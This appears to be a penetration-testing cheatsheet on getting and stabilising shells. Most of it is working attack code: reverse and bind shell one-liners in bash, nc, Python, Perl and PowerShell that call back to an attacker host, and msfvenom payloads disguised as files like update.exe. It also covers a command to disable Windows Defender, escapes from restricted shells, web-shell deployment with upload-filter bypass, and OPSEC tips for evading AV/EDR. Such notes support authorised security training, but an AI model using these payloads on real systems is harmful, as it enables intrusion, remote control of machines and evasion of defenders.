Shells & Payloads
Cheatsheet
Linux
#rev shell
# Attacker
sudo nc -lvnp <LPORT>
# rlwrap (arrow-key history + line editing in the caught shell)
rlwrap -cAr nc -lvnp <LPORT>
# Target
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
# works when 1st fails
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/f
#bind shell
# Target
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LPORT> > /tmp/f
# Attacker
nc -nv <TARGET_IP> <LPORT># stageless ELF rev shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > shell.elf
# stageless Windows EXE rev shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > update.exe
# List payload output formats / payloads
msfvenom --list formats
msfvenom --list payloads | grep -i reverse_tcp# dumb shell to a full PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c /bin/bash
# background with Ctrl-Z:
stty raw -echo; fg
# then in the returned shell:
export TERM=xterm; stty rows 38 columns 116Windows
# Target:
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sby=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()"#disable AV
Set-MpPreference -DisableRealtimeMonitoring $trueMethodology
Phase 1: Choose Shell Direction & Catch It
?
Ask youself
- Can the target reach me (reverse shell) or can I reach the target (bind shell)?
- Which outbound port is most likely allowed through egress filtering 443, 80, 53? or theres no restriction?
- Is there a firewall/NAT that blocks inbound connections to the target, forcing a reverse shell?
- Default to a reverse shell as outbound is usually allowed, inbound is usually filtered.
- Pick
<LPORT>that egress likely permits (443,80,53) before generating the payload. - Start the listener first; a payload that fires with no catcher just errors and tips off defenders.
- If outbound is fully blocked but a target port is reachable, fall back to a bind shell.
Phase 2: Deliver & Trigger the Payload
?
Ask youself
- What is the target OS and architecture? That dictates ELF vs EXE or bat or vbs or msi, bash vs PowerShell.
- What execution primitive do I actually have like command injection, file upload, RCE exploit, SSH?
- Is AV/EDR present, and will a raw payload be flagged the moment it lands?
- Which interpreter or binary is guaranteed present (
bash,python3,nc,powershell)?
# Confirm OS/arch before choosing a payload trhough nmap scan info or other reflecting information like headers of the website etc.
uname -a # Linux
systeminfo # Windows
# Generate the matching stageless payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > update.exe- Fingerprint OS and architecture (
uname -a, TTL,nmap -O,systeminfo) before picking a payload. - Match payload format to the target (
-f elf/-f exe/-f raw/-f asp). - Prefer a language already present (bash/PowerShell one-liner) over dropping a binary when AV is a risk.
- Transfer and execute the payload, then watch the listener for the callback.
- If the callback is instantly killed, suspect AV is in act, see Phase 3 of the Reference and obfuscate/encode.
Phase 3: Stabilize the Shell
?
Ask youself
- Is this a real PTY or a dumb pipe (does
sudo -l,su, or Ctrl-C or line editing behave correctly)? - Which upgrade method is available like
python3,script,socat, or none? - Do I have arrow-key history and proper terminal size for comfortable work?
# Spawn a PTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
script -qc /bin/bash /dev/null
# Then upgrade the local terminal (attacker side)
# Ctrl-Z, then:
stty raw -echo; fg
export TERM=xterm; stty rows 38 columns 116- Confirm whether the shell is interactive (
sudo -l, tab-completion, Ctrl-C don’t kill it). - Upgrade to a PTY
- Set
TERMand terminal dimensions so editors and pagers render correctly. - Catch a second shell as backup before running anything that could crash the first.
OPSEC
- Raw msfvenom payloads and default web shells are heavily signatured. Expect AV/EDR to flag them; encode, obfuscate, or use living-off-the-land interpreters.
- Reverse shells on
443/80blend better than odd high ports, but a long-lived connection to an external IP is still anomalous. - PowerShell download-and-execute one-liners trigger script-block logging (Event ID 4104). Native-language one-liners avoid dropping files but are still logged.
- Disabling AV (
Set-MpPreference -DisableRealtimeMonitoring) is itself a loud, audited event (Defender event log, tamper-protection alerts).
Reference
Reverse Shell One-Liners
Always start the listener first: sudo nc -lvnp <LPORT> (or rlwrap -cAr nc -lvnp <LPORT> for history).
# Bash (built-in /dev/tcp)
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
# mkfifo + nc (portable, no /dev/tcp needed)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/f
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in(0,1,2)];import pty;pty.spawn("/bin/bash")'
# Perl
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Breakdown of the classic mkfifo one-liner:
| Fragment | Purpose |
|---|---|
rm -f /tmp/f; | Remove the FIFO if it exists; -f ignores a missing file. ; runs sequentially. |
mkfifo /tmp/f; | Create a FIFO named pipe at /tmp/f. |
cat /tmp/f | | Stream the pipe’s contents into the next command’s stdin. |
/bin/bash -i 2>&1 | | Run an interactive bash; redirect stderr (2) into stdout (1) into the pipe. |
nc <LHOST> <LPORT> > /tmp/f | Connect back to the listener; write received data back into the pipe, completing the loop. |
msfvenom Payloads
# Linux stageless ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf > backup.elf
# Windows stageless EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > BonusPlan.exe
# Other useful formats: raw, psh (PowerShell), asp/aspx/jsp/war (web), python, raw shellcode (-f c)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe > met.exe| Flag | Meaning |
|---|---|
-p | The payload to generate (OS/arch/type), e.g. linux/x64/shell_reverse_tcp. |
LHOST / LPORT | Attacker IP and port the payload calls back to. |
-f | Output format (elf, exe, raw, asp, psh, …). |
-e / -i | Encoder and iteration count (basic AV evasion, e.g. -e x86/shikata_ga_nai -i 5). |
-b | Bad characters to avoid in the shellcode (e.g. -b '\x00\x0a'). |
> file | Write the generated payload to a file with an inconspicuous name. |
Name dropped payloads to look benign (update.exe, BonusPlan.exe,
createbackup.elf). msfvenom encoders alone no longer reliably bypass modern
AV/EDR treat them as obfuscation, not evasion.
Spawning Interactive Shells (TTY Upgrade)
When you land in a dumb shell, sudo -l, su, ssh, and Ctrl-C misbehave.
Upgrade to a PTY:
# Preferred: Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c /bin/bash
# Alternatives when python is absent
/bin/sh -i
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e 'os.execute("/bin/sh")'
awk 'BEGIN {system("/bin/sh")}'
# Abuse find to exec a shell
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find . -exec /bin/sh \; -quit
# From within vim
vim -c ':!/bin/sh'
# vim shell
:set shell=/bin/sh
#then
:shellAfter spawning a PTY, fully upgrade the local terminal:
# 1) background the shell
# Ctrl-Z
# 2) on the attacker
stty raw -echo; fg
# 3) back in the target shell
export TERM=xterm
stty rows 38 columns 116Always check what the landed account can do before escalating:
ls -la <path/to/binary> # file permissions
sudo -l # sudo rights (needs a stable interactive shell to return output)Restricted Shells (rbash)
Spot that you are in one
echo $SHELL # /bin/rbash, or a shell started with -r
# Restricted shells commonly reject these:
cd / # "restricted"
/bin/ls # "/ not allowed"
export PATH=/tmp:$PATH # "readonly variable" / "restricted"Enumerate what is allowed before escaping
# Which builtins/operators work? Test them directly.
ls; echo test > /tmp/x; cat < /tmp/x # redirection operators >, >>, <, |
# Which interpreters exist?
python --version; python3 --version; perl -v; ruby --version
# What can be run with elevated rights, and what is SUID?
sudo -l
find / -perm -u=s -type f 2>/dev/null
# Everything the shell inherited (look for a writable PATH entry)
printenvEscape ladder
# 1) Absolute paths, if / is permitted
/bin/bash
/bin/sh
# 2) Copy an unrestricted shell somewhere on the allowed PATH (if cp works)
cp /bin/bash ~/sh && ~/sh
# 3) Language interpreters that can exec a shell
python3 -c 'import os; os.system("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
lua -e 'os.execute("/bin/sh")'
php -r 'system("/bin/sh");' # or php -a then: system("/bin/sh");# 4) Editors and pagers that shell out
vi # then :set shell=/bin/bash -> :shell (or :!/bin/bash)
man nmap # then !/bin/bash (works via less)
less /etc/passwd # then !/bin/bash
gdb -nx -ex '!/bin/bash' -ex quit # or, inside gdb: !/bin/bash
# 5) Binaries that take an -exec / action argument
find . -exec /bin/sh \; -quit
find / -name notexist -exec /bin/awk 'BEGIN{system("/bin/sh")}' \;
# 6) Archive tools with command hooks
tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh
zip /tmp/z.zip /tmp/x -T --unzip-command="sh -c /bin/sh"
# 7) SSH forcing a shell / non-restricted command on connect
ssh <USER>@<TARGET_IP> -t "/bin/sh"
ssh <USER>@<TARGET_IP> -t "bash --noprofile --norc"Web Shells
- Laudanum (
/usr/share/laudanum) or Laudanum Github ready-made injectable shells forasp, aspx, jsp, phpand more. Built into Kali/Parrot. Edit reverse-shell variants to insert your<LHOST>and read the comments before use. - Antak (
/usr/share/nishang/Antak-WebShell/antak.aspx) or (Antak-webshell Github ) ASP.NET / PowerShell web shell from Nishang; ideal on Windows/IIS. Each command runs as a new process; it can run scripts in memory and encode commands. Set a username/password on line 14 and strip the ASCII art/comments (they get signatured) before deploying. - PHP web shell (e.g. WhiteWinterWolf’s
wwwolf-php-webshell) or (wwwolf-php-webshell Github ) paste the source into a.phpfile and upload. If an upload form only allows images, bypass the filter by changing the extension/Content-Type.
Identifying Windows vs Linux Targets
Quick OS fingerprinting to pick the right payload:
# TTL heuristic: ~128 -> Windows, ~64 -> Linux (may shift with hop count)
ping <TARGET_IP>
# Nmap OS detection (look for OS CPE: cpe:/o:microsoft:windows...)
nmap -O -v <TARGET_IP>Attack Chains / Related Notes
- Came from: service enumeration and exploitation that yields code execution (e.g. SMB, web upload, command injection, a public exploit).
- Leads to: Linux/Windows privilege escalation, credential pillaging, and lateral movement once a stable shell is established.
- Pairs with: canonical file-transfer methods and shell-stabilization references.
Last updated on